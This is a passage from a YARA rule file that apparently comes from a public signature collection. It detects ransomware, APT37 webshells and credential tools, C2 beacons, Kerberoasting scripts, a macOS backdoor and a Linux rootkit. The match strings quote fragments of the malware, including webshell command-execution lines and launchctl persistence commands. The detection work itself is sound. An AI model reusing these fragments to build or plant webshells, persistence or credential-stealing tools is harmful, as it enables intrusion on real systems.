		$s0 = "svchostdllserver.dll" fullword ascii
		$s1 = "Lpykh~mzCCRv|mplpykCCHvq{phlCC\\jmmzqkIzmlvpqCC" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule Hermes2_1
{
	meta:
		description = "Detects Hermes Ransomware as used in BAE report on FEIB"
		date = "2017/10/11"
		author = "BAE"
		reference = "https://baesystemsai.blogspot.de/2017/10/taiwan-heist-lazarus-tools.html"
		hash = "b27881f59c8d8cc529fa80a58709db36"
		id = "13397a43-04e1-5cc1-9260-9895736013f3"

	strings:
		$s1 = "SYSTEM\\CurrentControlSet\\Control\\Nls\\Language\\"
		$s2 = "0419"
		$s3 = "0422"
		$s4 = "0423"
		$S1 = "HERMES"
		$S2 = "vssadminn"
		$S3 = "finish work"
		$S4 = "testlib.dll"
		$S5 = "shadowstorageiet"
		$u1 = "ALKnvfoi4tbmiom3t40iomfr0i3t4jmvri3tb4mvi3btv3rgt4t777"
		$u2 = "HERMES 2.1 TEST BUILD, press ok"
		$u3 = "hnKwtMcOadHwnXutKHqPvpgfysFXfAFTcaDHNdCnktA"

	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* ) and 3 of ( $S* ) and 1 of ( $u* )
}

rule MyWScript_CompiledScript
{
	meta:
		description = "Detects a scripte with default name Mywscript compiled with Script2Exe (can also be a McAfee tool https://community.mcafee.com/docs/DOC-4124)"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-07-27"
		score = 65
		hash1 = "515f5188ba6d039b8c38f60d3d868fa9c9726e144f593066490c7c97bf5090c8"
		id = "a0480a8a-5a7e-5829-851b-7301cfc9da60"

	strings:
		$x1 = "C:\\Projets\\vbsedit_source\\script2exe\\Release\\mywscript.pdb" fullword ascii
		$s1 = "mywscript2" fullword wide
		$s2 = "MYWSCRIPT2" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and ( $x1 or 2 of them )
}

rule HKTL_Khepri_Beacon_Sep21_1
{
	meta:
		description = "Detects Khepri C2 framework beacons"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/geemion/Khepri/"
		date = "2021-09-08"
		score = 90
		hash1 = "86c48679db5f4c085fd741ebec5235bc6cf0cdf8ef2d98fd8a689ceb5088f431"
		id = "b2c8aaf7-7953-55a3-8499-565800fa01f1"

	strings:
		$x1 = "NT %d.%d Build %d  ProductType:%s" ascii fullword
		$xe1 = "YzIuQ01EUEFSQU0uY21k" ascii
		$xe2 = "MyLkNNRFBBUkFNLmNtZ" ascii
		$xe3 = "jMi5DTURQQVJBTS5jbW" ascii
		$sx1 = "c2.ProcessItem.user" ascii fullword
		$sx2 = "c2.CMDPARAM.cmd" ascii fullword
		$sx3 = "c2.DownLoadFile.file_path" ascii fullword
		$sa1 = "file size zero"
		$sa2 = "cmd.exe /c "
		$sa3 = "error parse param"
		$sa4 = "innet_ip"
		$op1 = { c3 b9 b4 98 49 00 87 01 5d c3 b8 b8 98 49 00 c3 8b ff }
		$op2 = { 8b f1 80 3d 58 97 49 00 00 0f 85 96 00 00 00 33 c0 40 b9 50 97 49 00 87 01 33 db }
		$op3 = { 90 d5 0c 43 00 34 0d 43 00 ea 0c 43 00 7e 0d 43 00 b6 0d 43 00 cc }
		$op4 = { 69 c0 ff 00 00 00 8b 4d c0 23 88 40 7c 49 00 89 4d c0 8b 45 cc 0b 45 c0 89 45 cc 8b 45 d0 }

	condition:
		( uint16( 0 ) == 0x5a4d or uint32be( 0 ) == 0x7f454c46 ) and filesize < 2000KB and ( 1 of ( $x* ) or 2 of ( $sx* ) or all of ( $sa* ) or 3 of ( $op* ) ) or ( filesize < 10MB and 1 of ( $xe* ) ) or 5 of them
}

rule HvS_APT37_smb_scanner
{
	meta:
		description = "Unknown smb login scanner used by APT37"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Marc Stroebel"
		date = "2020-12-15"
		reference1 = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		reference2 = "https://www.hybrid-analysis.com/sample/d16163526242508d6961f061aaffe3ae5321bd64d8ceb6b2788f1570757595fc?environmentId=2"
		id = "89a5cc32-f151-583d-823d-692de2c2b084"

	strings:
		$s1 = "Scan.exe StartIP EndIP ThreadCount logfilePath [Username Password Deep]" fullword ascii
		$s2 = "%s - %s:(Username - %s / Password - %s" fullword ascii
		$s3 = "Load mpr.dll Error " fullword ascii
		$s4 = "Load Netapi32.dll Error " fullword ascii
		$s5 = "%s U/P not Correct! - %d" fullword ascii
		$s6 = "GetNetWorkInfo Version 1.0" fullword wide
		$s7 = "Hello World!" fullword wide
		$s8 = "%s Error: %ld" fullword ascii
		$s9 = "%s U/P Correct!" fullword ascii
		$s10 = "%s --------" fullword ascii
		$s11 = "%s%-30s%I64d" fullword ascii
		$s12 = "%s%-30s(DIR)" fullword ascii
		$s13 = "%04d-%02d-%02d %02d:%02d" fullword ascii
		$s14 = "Share:              Local Path:                   Uses:   Descriptor:" fullword ascii
		$s15 = "Share:              Type:                   Remark:" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( 10 of them )
}

rule HvS_APT37_cred_tool
{
	meta:
		description = "Unknown cred tool used by APT37"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Markus Poelloth"
		date = "2020-12-15"
		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		id = "e830025a-f2ac-55b1-aca3-ded9dba83a67"

	strings:
		$s1 = "        <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>" fullword ascii
		$s2 = "Domain Login" fullword ascii
		$s3 = "IEShims_GetOriginatingThreadContext" fullword ascii
		$s4 = " Type Descriptor'" fullword ascii
		$s5 = "User: %s" fullword ascii
		$s6 = "Pass: %s" fullword ascii
		$s7 = "  <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">" fullword ascii
		$s8 = "E@c:\\u" fullword ascii

	condition:
		filesize < 500KB and 7 of them
}

import "pe"

rule HvS_APT37_RAT_loader
{
	meta:
		description = "BLINDINGCAN RAT loader named iconcash.db used by APT37"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Marc Stroebel"
		date = "2020-12-15"
		hash = "b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9"
		reference1 = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		reference2 = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"
		id = "6c3e8465-d607-59bf-85fc-5abbef71fb1c"

	condition:
		(pe.version_info [ "OriginalFilename" ] contains "MFC_DLL.dll" ) and ( pe.exports ( "SMain" ) and pe.exports ( "SMainW" ) )
}

rule HvS_APT37_webshell_img_thumbs_asp
{
	meta:
		description = "Webshell named img.asp, thumbs.asp or thumb.asp used by APT37"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Moritz Oettle"
		date = "2020-12-15"
		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		hash = "94d2448d3794ae3f29678a7337473d259b5cfd1c7f703fe53ee6c84dd10a48ef"
		id = "e45d4507-81de-5f72-9ce2-4f0e3e5c62b1"

	strings:
		$s1 = "strMsg = \"E : F\"" fullword ascii
		$s2 = "strMsg = \"S : \" & Len(fileData)" fullword ascii
		$s3 = "Left(workDir, InStrRev(workDir, \"/\")) & \"video\""
		$a1 = "Server.CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
		$a2 = "Dim tmpPath, workDir" fullword ascii
		$a3 = "Dim objFSO, objTextStream" fullword ascii
		$a4 = "workDir = Request.ServerVariables(\"URL\")" fullword ascii
		$a5 = "InStrRev(workDir, \"/\")" ascii
		$g1 = "WriteFile = 0" fullword ascii
		$g2 = "fileData = Request.Form(\"fp\")" fullword ascii
		$g3 = "fileName = Request.Form(\"fr\")" fullword ascii
		$g4 = "Err.Clear()" fullword ascii
		$g5 = "Option Explicit" fullword ascii

	condition:
		filesize < 2KB and ( ( 1 of ( $s* ) ) or ( 3 of ( $a* ) ) or ( 5 of ( $g* ) ) )
}

rule HvS_APT37_webshell_template_query_asp
{
	meta:
		description = "Webshell named template-query.aspimg.asp used by APT37"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Moritz Oettle"
		date = "2020-12-15"
		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		hash = "961a66d01c86fa5982e0538215b17fb9fae2991331dfea812b8c031e2ceb0d90"
		id = "dc006b46-4c51-59cd-8b7d-adbfec86cd2e"

	strings:
		$g1 = "server.scripttimeout=600" fullword ascii
		$g2 = "response.buffer=true" fullword ascii
		$g3 = "response.expires=-1" fullword ascii
		$g4 = "session.timeout=600" fullword ascii
		$a1 = "redhat hacker" ascii
		$a2 = "want_pre.asp" ascii
		$a3 = "vgo=\"admin\"" ascii
		$a4 = "ywc=false" ascii
		$s1 = "public  br,ygv,gbc,ydo,yka,wzd,sod,vmd" fullword ascii

	condition:
		filesize > 70KB and filesize < 200KB and ( ( 1 of ( $s* ) ) or ( 2 of ( $a* ) ) or ( 3 of ( $g* ) ) )
}

rule HvS_APT37_webshell_controllers_asp
{
	meta:
		description = "Webshell named controllers.asp or inc-basket-offer.asp used by APT37"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Moritz Oettle"
		date = "2020-12-15"
		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		hash = "829462fc6d84aae04a962dfc919d0a392265fbf255eab399980d2b021e385517"
		id = "82370415-30f4-514d-8806-e2daced96f07"

	strings:
		$s0 = "<%@Language=VBScript.Encode" ascii
		$x1 = { 64 7F 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x2 = { 64 7F 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x3 = { 64 7F 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x4 = { 64 7F 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x5 = { 64 7F 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x6 = { 64 7F 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x7 = { 64 7F 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x8 = { 64 41 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x9 = { 64 41 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x10 = { 64 41 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x11 = { 64 41 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x12 = { 64 7F 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x13 = { 64 41 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x14 = { 64 41 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x15 = { 64 41 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x16 = { 64 41 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x17 = { 64 41 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x18 = { 64 41 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x19 = { 64 41 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x20 = { 64 41 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x21 = { 64 41 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x22 = { 64 41 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x23 = { 64 7F 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x24 = { 64 41 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x25 = { 64 41 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x26 = { 6A 7F 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x27 = { 6A 7F 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x28 = { 6A 7F 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x29 = { 6A 7F 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x30 = { 6A 7F 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x31 = { 6A 7F 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x32 = { 6A 7F 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x33 = { 6A 7F 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x34 = { 64 7F 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x35 = { 6A 7F 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x36 = { 6A 7F 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x37 = { 6A 7F 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x38 = { 6A 7F 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x39 = { 6A 7F 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x40 = { 6A 7F 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x41 = { 6A 7F 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x42 = { 6A 7F 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x43 = { 6A 41 44 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x44 = { 6A 41 44 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x45 = { 64 7F 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x46 = { 6A 41 44 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x47 = { 6A 41 44 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x48 = { 6A 41 44 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x49 = { 6A 41 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x50 = { 6A 41 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x51 = { 6A 41 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x52 = { 6A 41 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x53 = { 6A 41 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x54 = { 6A 41 49 2D 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x55 = { 6A 41 49 2D 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x56 = { 64 7F 44 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x57 = { 6A 41 49 23 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x58 = { 6A 41 49 23 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x59 = { 6A 41 49 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x60 = { 6A 41 49 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x61 = { 64 7F 44 23 41 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x62 = { 64 7F 44 23 41 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x63 = { 64 7F 49 2D 7F 44 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }
		$x64 = { 64 7F 49 2D 7F 49 63 2F 6D 4D 6B 61 4F 59 62 3A 6E 72 21 59 }

	condition:
		filesize > 50KB and filesize < 200KB and ( $s0 and 1 of ( $x* ) )
}

rule HKTL_SentinelOne_RemotePotato0_PrivEsc
{
	meta:
		author = "SentinelOne"
		description = "Detects RemotePotato0 binary"
		reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
		date = "2021-04-26"
		id = "f6dffd6b-e794-5c4a-9700-5c2022168f44"

	strings:
		$import1 = "CoGetInstanceFromIStorage"
		$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
		$meow_header = { 4d 45 4f 57 }
		$clsid1 = "{11111111-2222-3333-4444-555555555555}" wide ascii
		$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii

	condition:
		( uint16( 0 ) == 0x5A4D ) and $import1 and $istorage_clsid and $meow_header and 1 of ( $clsid* )
}

rule GetUserSPNs_VBS
{
	meta:
		description = "Auto-generated rule - file GetUserSPNs.vbs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/skelsec/PyKerberoast"
		date = "2016-05-21"
		hash1 = "8dcb568d475fd8a0557e70ca88a262b7c06d0f42835c855b52e059c0f5ce9237"
		id = "5576c1b9-4670-52c5-b23c-64adcc8709de"

	strings:
		$s1 = "Wscript.Echo \"User Logon: \" & oRecordset.Fields(\"samAccountName\")" fullword ascii
		$s2 = "Wscript.Echo \" USAGE:        \" & WScript.ScriptName & \" SpnToFind [GC Servername or Forestname]\"" fullword ascii
		$s3 = "strADOQuery = \"<\" + strGCPath + \">;(&(!objectClass=computer)(servicePrincipalName=*));\" & _" fullword ascii

	condition:
		2 of them
}

rule GetUserSPNs_PS1
{
	meta:
		description = "Auto-generated rule - file GetUserSPNs.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/skelsec/PyKerberoast"
		date = "2016-05-21"
		hash1 = "1b69206b8d93ac86fe364178011723f4b1544fff7eb1ea544ab8912c436ddc04"
		id = "a2fba75c-264f-5e89-afaf-9d19a4a90784"

	strings:
		$s1 = "$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()" fullword ascii
		$s2 = "@{Name=\"PasswordLastSet\";      Expression={[datetime]::fromFileTime($result.Properties[\"pwdlastset\"][0])} } #, `" fullword ascii
		$s3 = "Write-Host \"No Global Catalogs Found!\"" fullword ascii
		$s4 = "$searcher.PropertiesToLoad.Add(\"pwdlastset\") | Out-Null" fullword ascii

	condition:
		2 of them
}

rule kerberoast_PY
{
	meta:
		description = "Auto-generated rule - file kerberoast.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/skelsec/PyKerberoast"
		date = "2016-05-21"
		hash1 = "73155949b4344db2ae511ec8cab85da1ccbf2dfec3607fb9acdc281357cdf380"
		id = "cea6cdb2-cd1a-5701-a9d1-27c788a962a7"

	strings:
		$s1 = "newencserverticket = kerberos.encrypt(key, 2, encoder.encode(decserverticket), nonce)" fullword ascii
		$s2 = "key = kerberos.ntlmhash(args.password)" fullword ascii
		$s3 = "help='the password used to decrypt/encrypt the ticket')" fullword ascii
		$s4 = "newencserverticket = kerberos.encrypt(key, 2, e, nonce)" fullword ascii

	condition:
		2 of them
}

rule MAL_Sednit_DelphiDownloader_Apr18_2
{
	meta:
		description = "Detects malware from Sednit Delphi Downloader report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
		date = "2018-04-24"
		hash1 = "53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda"
		hash2 = "657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4"
		hash3 = "5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182"
		hash4 = "0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f"
		hash5 = "72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3"
		id = "6ccd2f21-de44-52fb-912e-d3ecbe57e389"

	strings:
		$s1 = "2D444F574E4C4F41445F53544152542D" ascii
		$s2 = "55504C4F41445F414E445F455845435554455F46494C45" ascii
		$s3 = "4D6F7A696C6C612076352E31202857696E646F7773204E5420362E313B2072763A362E302E3129204765636B6F2F32303130303130312046697265666F782F36" ascii
		$s4 = "41646F62654461696C79557064617465" ascii
		$s5 = "53595354454D494E464F2026205441534B4C495354" ascii
		$s6 = "6373727376632E657865" ascii
		$s7 = "536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E" ascii
		$s8 = "5C536F6674776172655C4D6963726F736F66745C57696E646F7773204E545C43757272656E7456657273696F6E" ascii
		$s9 = "5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E" ascii
		$s0 = "2D444F574E4C4F41445F53544152542D" ascii
		$fp1 = "<key name=\"profiles\">"

	condition:
		filesize < 4000KB and 1 of ( $s* ) and not 1 of ( $fp* )
}

rule MAL_Sednit_DelphiDownloader_Apr18_3
{
	meta:
		description = "Detects malware from Sednit Delphi Downloader report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
		date = "2018-04-24"
		modified = "2023-01-06"
		hash1 = "ecb835d03060db1ea3496ceca2d79d7c4c6c671c9907e0b0e73bf8d3371fa931"
		hash2 = "e355a327479dcc4e71a38f70450af02411125c5f101ba262e8df99f9f0fef7b6"
		id = "2200fbdc-3600-51d4-a273-dc7fd4127c05"

	strings:
		$ = "Processor Level: " fullword ascii
		$ = "CONNECTION ERROR" fullword ascii
		$ = "FILE_EXECUTE_AND_KILL_MYSELF" ascii
		$ = "-KILL_PROCESS-" ascii
		$ = "-FILE_EXECUTE-" ascii
		$ = "-DOWNLOAD_ERROR-" ascii
		$ = "CMD_EXECUTE" fullword ascii
		$ = "\\Interface\\Office\\{31E12FE8-937F-1E32-871D-B1C9AOEF4D4}\\" ascii
		$ = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 3 of them
}

rule MAL_OSX_FancyBear_Agent_Jul18_1
{
	meta:
		description = "Detects FancyBear Agent for OSX"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/DrunkBinary/status/1018448895054098432"
		date = "2018-07-15"
		hash1 = "d3be93f6ce59b522ff951cef9d59ef347081ffe33d4203cd5b5df0aaa9721aa2"
		id = "ae717f70-7196-561a-916f-1598ab38c77a"

	strings:
		$x1 = "/Users/kazak/Desktop/" ascii
		$s1 = "launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist" fullword ascii
		$s2 = "mkdir -p /Users/Shared/.local/ &> /dev/null" fullword ascii
		$s3 = "chmod 755 /Users/Shared/start.sh" fullword ascii
		$s4 = "chmod 755 %s/%s &> /dev/null" fullword ascii
		$s6 = "chmod 755 /Users/Shared/.local/kextd" fullword ascii

	condition:
		uint16( 0 ) == 0xfacf and filesize < 3000KB and ( 1 of ( $x* ) and 4 of them )
}

rule APT_SideWinder_NET_Loader_Aug_2020_1
{
	meta:
		description = "Detected the NET loader used by SideWinder group (August 2020)"
		author = "Arkbird_SOLG"
		reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852"
		date = "2020-08-24"
		hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4"
		id = "61d96e2a-3a43-586f-85bc-a2c53b1318e6"

	strings:
		$a1 = "DUSER.dll" fullword wide
		$s1 = "UHJvZ3JhbQ==" fullword wide
		$s2 = "U3RhcnQ=" fullword wide
		$s3 = ".tmp           " fullword wide
		$s4 = "FileRipper" fullword ascii
		$s5 = "copytight @" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4KB and $a1 and 3 of ( $s* )
}

rule APT_MAL_SideWinder_implant
{
	meta:
		author = "AT&T Alien Labs"
		description = "Detects SideWinder final payload"
		hash1 = "c568238dcf1e30d55a398579a4704ddb8196b685"
		reference = "https://cybersecurity.att.com/blogs/labs-research/a-global-perspective-of-the-sidewinder-apt"
		id = "3a420c9c-7821-5405-8d4d-6931d0f311ba"

	strings:
		$code = { 1B 30 05 00 C7 00 00 00 00 00 00 00 02 28 03 00
               00 06 7D 12 00 00 04 02 02 FE 06 23 00 00 06 73
               5B 00 00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A
               7D 13 00 00 04 02 02 FE 06 24 00 00 06 73 5B 00
               00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A 7D 15
               00 00 04 02 7B 12 00 00 04 6F 0E 00 00 06 2C 1D
               02 28 1F 00 00 06 02 7B 12 00 00 04 16 6F 0F 00
               00 06 02 7B 12 00 00 04 6F 06 00 00 06 02 7B 12
               00 00 04 6F 10 00 00 06 2C 23 02 28 20 00 00 06
               02 28 21 00 00 06 02 7B 12 00 00 04 16 }
		$strings = {
         2E 00 73 00 69 00 66 00 00 09 2E 00 66 00 6C 00
         63 00 00 1B 73 00 65 00 6C 00 65 00 63 00 74 00
         65 00 64 00 46 00 69 00 6C 00 65 00 73
      }

	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule Venom_Rootkit
{
	meta:
		description = "Venom Linux Rootkit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://security.web.cern.ch/security/venom.shtml"
		date = "2017-01-12"
		id = "fedc6fa9-7dfb-5e54-a7bf-9a16f96d6886"

	strings:
		$s1 = "%%VENOM%CTRL%MODE%%" ascii fullword
		$s2 = "%%VENOM%OK%OK%%" ascii fullword
		$s3 = "%%VENOM%WIN%WN%%" ascii fullword
		$s4 = "%%VENOM%AUTHENTICATE%%" ascii fullword
		$s5 = ". entering interactive shell" ascii fullword
		$s6 = ". processing ltun request" ascii fullword
		$s7 = ". processing rtun request" ascii fullword
		$s8 = ". processing get request" ascii fullword
		$s9 = ". processing put request" ascii fullword
		$s10 = "venom by mouzone" ascii fullword
		$s11 = "justCANTbeSTOPPED" ascii fullword

	condition:
		filesize < 4000KB and 2 of them
}

rule CN_Honker_Webshell_PHP_php5
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file php5.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "0fd91b6ad400a857a6a65c8132c39e6a16712f19"
		id = "ee063c4c-af06-520f-acfe-fba758b84d3c"

	strings:
		$s0 = "else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user" ascii
		$s20 = "echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump').\"<b>\".$" ascii

	condition:
		uint16( 0 ) == 0x3f3c and filesize < 300KB and all of them
}

rule CN_Honker_Webshell_test3693
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file test3693.war"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Disclosed CN Honker Pentest Toolset"
		date = "2015-06-23"
		score = 70
		hash = "246d629ae3ad980b5bfe7e941fe90b855155dbfc"
		id = "58fe4445-b2e1-5d5f-8c46-39c6ae78f845"

	strings:
		$s0 = "Process p=Runtime.getRuntime().exec(\"cmd /c \"+strCmd);" fullword ascii
		$s2 = "http://www.topronet.com </font>\",\" <font color=red> Thanks for your support - " ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 50KB and all of them
}

rule CN_Honker_Webshell_mycode12
{
	meta:
		description = "Webshell from CN Honker Pentest Toolset - file mycode12.cfm"
